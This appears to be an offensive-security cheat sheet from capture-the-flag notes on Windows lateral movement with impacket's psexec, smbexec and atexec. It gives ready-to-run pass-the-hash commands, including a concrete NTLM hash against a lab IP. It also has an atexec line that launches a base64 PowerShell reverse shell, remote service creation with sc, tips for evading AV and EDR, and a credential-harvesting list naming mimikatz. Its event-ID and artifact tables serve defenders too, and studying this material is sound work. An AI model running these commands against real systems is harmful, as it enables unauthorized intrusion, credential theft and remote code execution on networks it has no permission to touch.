PsExec and SMBExec
#Overview
PsExec and SMBExec are two SMB-based lateral movement techniques from the impacket suite. PsExec creates a named service on the remote system with an uploaded binary, while SMBExec uses named pipes for semi-interactive command execution without disk writes. Atexec provides a third option using scheduled tasks. The choice between them is primarily an OPSEC decision: PsExec leaves more forensic artifacts but provides a reliable interactive shell.
#Prerequisites
- Valid credentials or NTLM hash with administrative privileges (Local Admin) on target
- SMB port 445 accessible
- ADMIN$ share writable (for PsExec)
- ATSVC named pipe accessible (for Atexec)
#Exploitation / Execution
#1. impacket-psexec.py
Creates a service with a random name, uploads a service binary to ADMIN$\system32, starts it, and connects to a named pipe created by the service binary:
# With password
impacket-psexec.py <domain>/<user>:'<password>'@<IP>
# With NTLM hash
impacket-psexec.py <domain>/<user>@<IP> -hashes :<NTLM_hash>
impacket-psexec.py egotistical-bank.local/administrator@10.10.10.175 -hashes d9485863c1e9e05851aa40cbb4ab9dff:d9485863c1e9e05851aa40cbb4ab9dff
# Specify codec for proper encoding
impacket-psexec.py <domain>/<user>@<IP> -hashes :<hash> -codec UTF-8
On connection: writes PSEXESVC.exe to ADMIN$\System32\, creates a service with a random hex name, starts it, and connects.
# impacket-psexec custom binary upload
impacket-psexec 'domain.local/user:pass@target' -file custom_binary.exe
# -file: Upload and execute a custom binary instead of default PSEXESVC.exe
#2. impacket-smbexec.py
Uses SMB named pipes for input/output without writing a binary to disk or creating a service:
# With password
impacket-smbexec.py <domain>/<user>:'<password>'@<IP>
# With NTLM hash
impacket-smbexec.py <domain>/<user>@<IP> -hashes :<NTLM_hash>
SMBExec creates a service that runs cmd.exe and redirects its input/output to named pipes. Fewer artifacts but the shell is less interactive (no tab completion, no interactive programs).
# smbexec.py shell type flag (critical for restricted environments)
impacket-smbexec 'domain.local/user:pass@target' -shell-type powershell
# -shell-type cmd (default) | powershell (for cmd.exe restricted environments)
#3. impacket-atexec.py
Uses the ATSVC named pipe (Task Scheduler) to create and run a scheduled task:
# With password (runs command and exits)
impacket-atexec.py <domain>/<user>:'<password>'@<IP> "cmd.exe /c whoami"
# With NTLM hash
impacket-atexec.py <domain>/<user>@<IP> -hashes :<NTLM_hash> "cmd.exe /c whoami"
# For interactive use, launch a reverse shell
impacket-atexec.py <domain>/<user>@<IP> -hashes :<hash> "powershell -e <base64_revshell>"
Note: Atexec does not provide an interactive shell. It runs the specified command and returns output. Use it for one-shot commands or reverse shell initiation.
#4. When to Use Each
| Method | Best For | Artifacts | Requirements |
|---|---|---|---|
| PsExec | Interactive shell, full TTY | Service creation (Event 7045), PSEXESVC.exe on disk, named pipe | ADMIN$ share write |
| SMBExec | Quieter execution, less forensic evidence | Named pipe connection, no disk binary | ADMIN$/IPC$ access |
| Atexec | One-shot commands, reverse shells, scheduled tasks | Scheduled task creation (Event 4698), process creation | ATSVC named pipe |
#Artifacts Comparison
- PsExec: Leaves
%WINDIR%\PSEXESVC.exe(or similar) in ADMIN$\System32. Creates a service with a random hex name like\\.\pipe\PSEXESVC<random>. Generates Event IDs 7045 (service creation) and 7036 (service start/stop). - SMBExec: No disk writes. Creates named pipe
\\.\pipe\<random>. Service is still created but the binary runs cmd.exe from disk (not an uploaded binary). - Atexec: Creates a scheduled task (visible in Task Scheduler or via
schtasks /query). Temporary task may be deleted after execution (clean up), but Event ID 4698 records the creation.
#5. Manual PsExec Equivalent (Windows)
# Create service remotely
sc \\<target> create <svc_name> binPath="cmd.exe /c whoami > C:\temp\out.txt" start= auto
sc \\<target> start <svc_name>
sc \\<target> delete <svc_name>
# Read output via SMB
type \\<target>\C$\temp\out.txt
#Common Pitfalls
- ⚠️ PsExec requires ADMIN$ share to be writable (default for Local Administrators) -- if blocked, use WMIExec or SMBExec
- ⚠️ PsExec binary may be detected and deleted by AV immediately after upload -- use -codec flag or consider WMIExec
- ⚠️ SMBExec is semi-interactive; interactive commands (vim, ssh, powershell interactive) won't work properly
- ⚠️ Atexec is non-interactive; if you need a shell, trigger a reverse shell instead
- ⚠️ "The network path was not found" error means SMB port 445 is blocked or the host is unreachable
#OPSEC Considerations
- 🛡️ PsExec service creation generates Event ID 7045 (A new service was installed) -- high-value detection event
- 🛡️ PsExec binary upload generates Event ID 5145 (network share object access) for ADMIN$
- 🛡️ SMBExec still uses a service (for cmd.exe redirection) but doesn't upload a binary
- 🛡️ All three methods generate Event ID 4624 (Logon Type 3 - Network)
- 🛡️ Atexec scheduled task creation generates Event ID 4698
- 🛡️ PsExec service names are random hex but the PSEXESVC pattern is well-known by EDR
#Post-Exploitation Value
- SYSTEM-level shell on the target (services run as SYSTEM)
- Full command execution for credential harvesting (mimikatz, procdump)
- Can be chained across multiple hosts for lateral movement
- Provides file upload/download through SMB shares
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| impacket | https://github.com/fortra/impacket |
| Sysinternals PsExec | https://docs.microsoft.com/en-us/sysinternals/downloads/psexec |
#Source Machines
- Sauna (Easy, AD) - PsExec with Administrator hash from DCSync
- Blackfield (Hard, AD) - WMIExec as alternative to PsExec
- Jeeves (Medium, Windows) - Service manipulation for privilege escalation
- Return (Easy, AD) - Service binary modification for reverse shell